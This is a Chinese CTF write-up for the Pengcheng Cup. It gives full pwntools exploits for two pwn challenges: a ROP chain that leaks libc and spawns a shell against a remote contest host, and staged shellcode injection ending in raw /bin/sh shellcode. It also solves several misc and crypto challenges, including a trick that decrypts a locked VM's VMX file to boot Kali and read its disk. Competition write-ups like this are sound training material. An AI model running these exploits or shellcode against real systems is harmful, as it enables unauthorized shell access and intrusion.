PCB鹏城杯CTFwriteup&复现

大大大佬的博客->传送门

PWN

0x00 overInt

思路:有两个key的检测,过了之后有一个循环以下内容

*(&v8 + v6) = v5;
v3 = (int *)(unsigned int)v5;
printf("str_pos is %c\n", v3);

这里直接将输入的值写到一个地址的偏移,就有一个任意地址写的洞,然后通过这个进行常规的rop
exp如下

from pwn import *
from struct import pack
context(os='linux',arch='amd64',aslr = 'False')
local = 0
log_level='debug'

if local:
	p = process("./overInt")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
	elf = ELF("./overInt")
	#libc = ELF('./libc_x64.so.6')
else:
	p = remote('58.20.46.148',35272)
	elf = ELF("./overInt")
	#libc = ELF('./libc_x64.so.6')

def change_addr(num,string):
	j = 0
	for i in range(8):
		p.recvuntil("Which position you want to modify?\n")
		payload = p32(num)
		p.send(payload)
		p.recvuntil("What content you want to write in?\n")
		payload = string[j]
		p.send(payload)
		num += 1
		j += 1
		
pop_rdi = 0x0000000000400b13
read_got = elf.got["read"] # 0x602038
alarm_got = elf.got["alarm"] # 0x602030
start = 0x4005D0
puts_plt = elf.plt["puts"] # 0x40054c

#gdb.attach(p,"b *0x400AAC")

p.recvuntil("Please set arrary number:")
p.send("over")
p.recvuntil("How many numbers do you have?\n")
p.send(p32(10))
for i in range(9):
	data = p.recv()
	p.send(p32(0))
p.recv() 
p.send(p32(0x20633372))

p.recvuntil("How many positions you want to modify?\n")
p.send(p32(32))

string = "\x13\x0b\x40\x00\x00\x00\x00\x00" #pop_rdi
change_addr(0x38,string)
string = "\x38\x20\x60\x00\x00\x00\x00\x00" #read_got
change_addr(0x40,string)
string = "\x4c\x05\x40\x00\x00\x00\x00\x00" #puts_plt
change_addr(0x48,string)
string = "\xd0\x05\x40\x00\x00\x00\x00\x00" #start
change_addr(0x50,string)
p.recvuntil("!")
data = p.recvuntil("\n",drop=True)
data = data.ljust(8,"\x00")
data = u64(data)
libc_base = data - 0x0f7250
print "base : "+hex(libc_base)
binsh_addr = libc_base + 0x18cd57
system_addr = libc_base + 0x045390
print "system_addr :" +hex(system_addr)
print "binsh_addr :" +hex(binsh_addr)

#gdb.attach(p,"b *0x400AAC")

p.recvuntil("Please set arrary number:")
p.send("over")
p.recvuntil("How many numbers do you have?\n")
p.send(p32(10))
for i in range(9):
	data = p.recv()
	p.send(p32(0))
p.recv() 
p.send(p32(0x20633372))
p.recvuntil("How many positions you want to modify?\n")
p.send(p32(24))
string = "\x13\x0b\x40\x00\x00\x00\x00\x00" #pop_rdi
change_addr(0x38,string)
string = pack('L',binsh_addr)
change_addr(0x40,string)
string = pack('L',system_addr)
change_addr(0x48,string)

p.interactive()

0x01 treasure

这个题目是赛后队友才做出来的,有点可惜。思路是劫持程序流。提前布局,R15和R14寄存器是没有用到的,每次输入只能输入9个字符长度,所以不能直接写shellcode,第一次写入控制那个9个长度的变量,使程序不跳到9,长度就可变。
exp如下:

from pwn import *
from struct import pack

context(os='linux',arch='amd64',aslr = 'False')
local = 1
log_level='debug'

if local:
	p = process("./treasure")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
	elf = ELF("./treasure")
	#libc = ELF('./libc_x64.so.6')
else:
	p = remote('58.20.46.148',35272)
	elf = ELF("./overInt")
	#libc = ELF('./libc_x64.so.6')

def mycode(shellcode):
	p.recvuntil("(enter 'n' to quit) :")
	p.sendline("\x90")
	p.recvuntil("start!!!!")
	p.send(shellcode)

test = "abcdefghi"

#gdb.attach(p,"b *0x4009BA" ) #b *0x400AAE")

trea_addr = 0x4009BA

shellcode = asm("mov r15,rdx;"+"nop;"*6)
mycode(shellcode)
shellcode = asm("mov ebx,0x400A6c;mov r14,rbx;"+"nop;"*1)
mycode(shellcode)

shellcode = asm("mov ebx,30;"+"nop;"*4)
mycode(shellcode)

shellcode = asm("mov rax,r15;mov rsi,rbx;jmp r14;")
mycode(shellcode)

shellcode = "\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"
p.sendline(shellcode)
"""
p.recvuntil("(enter 'n' to quit) :")
p.sendline("\x90")
p.recvuntil("start!!!!")
p.send(test)
"""
p.interactive()

MISC

0x02 traffic light

题目给的GIF图片有1168帧,把每一帧都提取出来,红绿灯表示01,黄灯表示间隔,得到二进制再转城可见字符就可以得到flag

0x03 GreatWall

lsb隐写提出一张jpg,+是分隔符,长短杠分别是二进制的1和0,然后转成字符

#encoding:utf-8
list1 = [1010011,1110100,110011,1100111,110100,1101110,110000,1100111,1110010,110100,1110000,1101000,1111001,1011111,110001,1110011,1011111,110001,1101110,1110100,110011,1110010,110011,1110011,1110100,110001,1101110,1100111]
j = ''
result =''
for i in range(len(list1)):
    tmp = int(str(list1[i]),2)
    result += chr(tmp)
    print result

0x04 hack1t

这道题的思路类似于进pe系统读windows的文件,通过加载另外一个系统读取文件。首先这个虚拟机有密码,题目已经给出了,但是没有给出修改配置的密码,也就是说我们只能打开,不能修改任何东西,配置文件xxx.vmx也是被加了密的,百度到一个github项目可以破解vmx配置文件的破解
GitHub项目
但是这个项目的代码有一点瑕疵,直接解密会触发一个错误
1

root@Ubuntu:~/Desktop/VMwareVMX-master# python3 main.py "Ubuntu 64-bit.vmx" 
Password:
Error: File Ubuntu 64-bit.vmx is not a valid VMX file

原因是代码中给的displayname是小写,但是判断却是大写displayName,修改成小写即可
2
然后就可以得到解密后的vmx配置信息

root@Ubuntu:~/Desktop/VMwareVMX-master# python3 main.py "Ubuntu 64-bit.vmx" 
Password:
guestos = "ubuntu-64"
virtualhw.version = "13"
config.version = "8"
numvcpus = "2"
cpuid.coresPerSocket = "1"
memsize = "2048"
pciBridge0.present = "TRUE"
pciBridge4.present = "TRUE"
pciBridge4.virtualDev = "pcieRootPort"
pciBridge4.functions = "8"
pciBridge5.present = "TRUE"
pciBridge5.virtualDev = "pcieRootPort"
pciBridge5.functions = "8"
pciBridge6.present = "TRUE"
pciBridge6.virtualDev = "pcieRootPort"
pciBridge6.functions = "8"
pciBridge7.present = "TRUE"
pciBridge7.virtualDev = "pcieRootPort"
pciBridge7.functions = "8"
vmci0.present = "TRUE"
mks.enable3d = "true"
scsi0:0.present = "TRUE"
scsi0:0.deviceType = "disk"
scsi0:0.fileName = "Ubuntu 64-bit-disk1.vmdk"
scsi0:0.mode = "persistent"
scsi0.virtualDev = "lsilogic"
scsi0.present = "TRUE"
sata0.present = "TRUE"
vmci0.unrestricted = "false"
vcpu.hotadd = "true"
mem.hotadd = "true"
powerType.powerOff = "soft"
powerType.reset = "soft"
powerType.suspend = "soft"
toolscripts.afterpoweron = "true"
toolscripts.afterresume = "true"
toolscripts.beforepoweroff = "true"
toolscripts.beforesuspend = "true"
tools.syncTime = "false"
nvram = "Ubuntu 64-bit-file1.nvram"
virtualHW.productCompatibility = "hosted"
extendedConfigFile = "Ubuntu 64-bit.vmxf"
dataFileKey = "type=key:cipher=AES-256:key=NHhuUIeIg1lhhNi7CvHXZysR+lrMxsNhJl7DO0SIuZ4%3d"
cryptoState = "encrypted"
isolation.tools.copy.disable = "TRUE"
isolation.tools.dnd.disable = "TRUE"
isolation.tools.paste.disable = "TRUE"
policy.vm.mvmtid = "52 b5 65 b9 89 e2 54 bf-e2 ee e6 99 1f 9d 2d 29"
rollingTier0.uid = "1"
rollingTier0.interval = "86400"
rollingTier0.maximum = "1"
rollingTier0.clientFlags = "8"
rollingTier0.displayName = "自动保护快照"
rollingTier1.uid = "2"
rollingTier1.interval = "604800"
rollingTier1.baseTier = "1"
rollingTier1.baseTierInterval = "7"
rollingTier1.maximum = "1"
rollingTier1.clientFlags = "8"
rollingTier1.displayName = "自动保护快照"
rollingTier2.uid = "3"
rollingTier2.interval = "2419200"
rollingTier2.baseTier = "1"
rollingTier2.baseTierInterval = "28"
rollingTier2.maximum = "1"
rollingTier2.clientFlags = "8"
rollingTier2.displayName = "自动保护快照"
snapshot.numRollingTiers = "3"
floppy0.present = "FALSE"
uuid.bios = "56 4d 06 45 68 99 38 62-e8 b8 d6 23 3b 97 07 eb"
uuid.location = "56 4d 06 45 68 99 38 62-e8 b8 d6 23 3b 97 07 eb"
migrate.hostlog = ".\Ubuntu 64-bit-0dae80fb.hlog"
scsi0:0.redo = ""
pciBridge0.pciSlotNumber = "17"
pciBridge4.pciSlotNumber = "21"
pciBridge5.pciSlotNumber = "22"
pciBridge6.pciSlotNumber = "23"
pciBridge7.pciSlotNumber = "24"
scsi0.pciSlotNumber = "16"
vmci0.pciSlotNumber = "32"
sata0.pciSlotNumber = "33"
vmci0.id = "-119750326"
monitor.phys_bits_used = "43"
vmotion.checkpointFBSize = "4194304"
vmotion.checkpointSVGAPrimarySize = "134217728"
cleanShutdown = "TRUE"
softPowerOff = "FALSE"
svga.guestBackedPrimaryAware = "TRUE"
rollingTier0.timeSincelast = "203"
rollingTier1.timeSincelast = "203"
rollingTier2.timeSincelast = "203"
svga.vramSize = "134217728"

用一个正常的虚拟机添加一个CD/DVD,指向一个kali的iso,发现配置文件会多了下面三行代码

sata0:0.deviceType = "cdrom-image"
sata0:0.fileName = "D:\kali\kali-linux-2018.2-amd64.iso"
sata0:0.present = "TRUE"

加到上面的代码上去重新加密一下

root@Ubuntu:~/Desktop/VMwareVMX-master# python3 main.py -e -D "Ubuntu 64-bit" -p bibinb ubuntu.vmx result.vmx

-D指定虚拟机的名字,ubuntu.vmx待加密的文件,result.vmx加密后的结果,再用result.vmx替换掉原来的配置,打开虚拟机就可以看到多了CD/DVD
3
开机按esc进BIOS选CD/DVD启动
4
选第一个
5
进到kali里打开文件系统
6
find一下
7
把4个部分凑一起打开就getflag
8

0x05 What’s_this

文件删了复现不了了,只能看大佬的博客了

CRYPTO

0x04 easy crypto

本质就是异或,逆操作一遍就可以了
payloa如下:

#!usr/bin/python 
#_*_ coding=UTF-8 _*_

from Crypto.Cipher import AES
from binascii import b2a_hex, a2b_hex
from Crypto import Random
import sys
#from FLAG import flag

class aesdemo:
	#aes = AES.new(key,mode)
	def __init__(self,key):
		self.key = key
		#self.BS=BS
	
       
	def pad(self,msg):
		#BS = AES.block_size 
		# aes数据分组长度为128 bit
		byte = 16 - len(msg) % 16
		return msg + chr(byte) * byte
	def unpad(msg):
		if not msg:
			return ''
		return msg[:-ord(msg[-1])]		
    
	def xor(self,a, b):
    		#assert len(a) == len(b)
    		return ''.join([chr(ord(ai)^ord(bi)) for ai, bi in zip(a,b)])

	def split_by(self,data,step):
        	return [data[i : i+step] for i in xrange(0, len(data), step)]

	def encrypt(self, plaintext):
        # 生成随机初始向量IV
		iv = Random.new().read(16)
		print "iv is",iv.encode('hex')
		aes = AES.new(self.key,AES.MODE_CBC,iv)
		prev_pt = iv
		prev_ct = iv
		ct=""

		msg=self.pad(plaintext)
		for block in self.split_by(msg, 16):
			ct_block = self.xor(block, prev_pt)
			ct_block = aes.encrypt(ct_block)
			ct_block = self.xor(ct_block, prev_ct)
			ct += ct_block
			
		return b2a_hex(iv + ct)

	def decrypt(self, ciphertext,iv):
        # 生成随机初始向量IV
		print "iv is",iv.encode('hex')
		aes = AES.new(self.key,AES.MODE_CBC,iv)
		prev_pt = iv
		prev_ct = iv
		ct=""

		#msg=self.pad(plaintext)
		for block in self.split_by(ciphertext, 16):
			ct_block = self.xor(block, prev_pt)
			ct_block = aes.decrypt(ct_block)
			ct_block = self.xor(ct_block, prev_ct)
			ct += ct_block
			
		return b2a_hex(iv + ct)
		
s = '524160f3d098ad937e252494f827f8cf26cc549e432ff4b11ccbe2d8bfa76e5c6606aad5ba17488f11189d41bca45baa' 
iv = s[0:32].decode('hex')
sc = s[32::].decode('hex')
print len(iv),len(sc)
flag = 'A'*64

BS = AES.block_size # aes数据分组长度为128 bit
key="asdfghjkl1234567890qwertyuiopzxc"
demo = aesdemo(key)
e = demo.encrypt(flag)
print("加密:", e)

aaa = demo.decrypt(sc,iv)
print aaa
print aaa.decode('hex')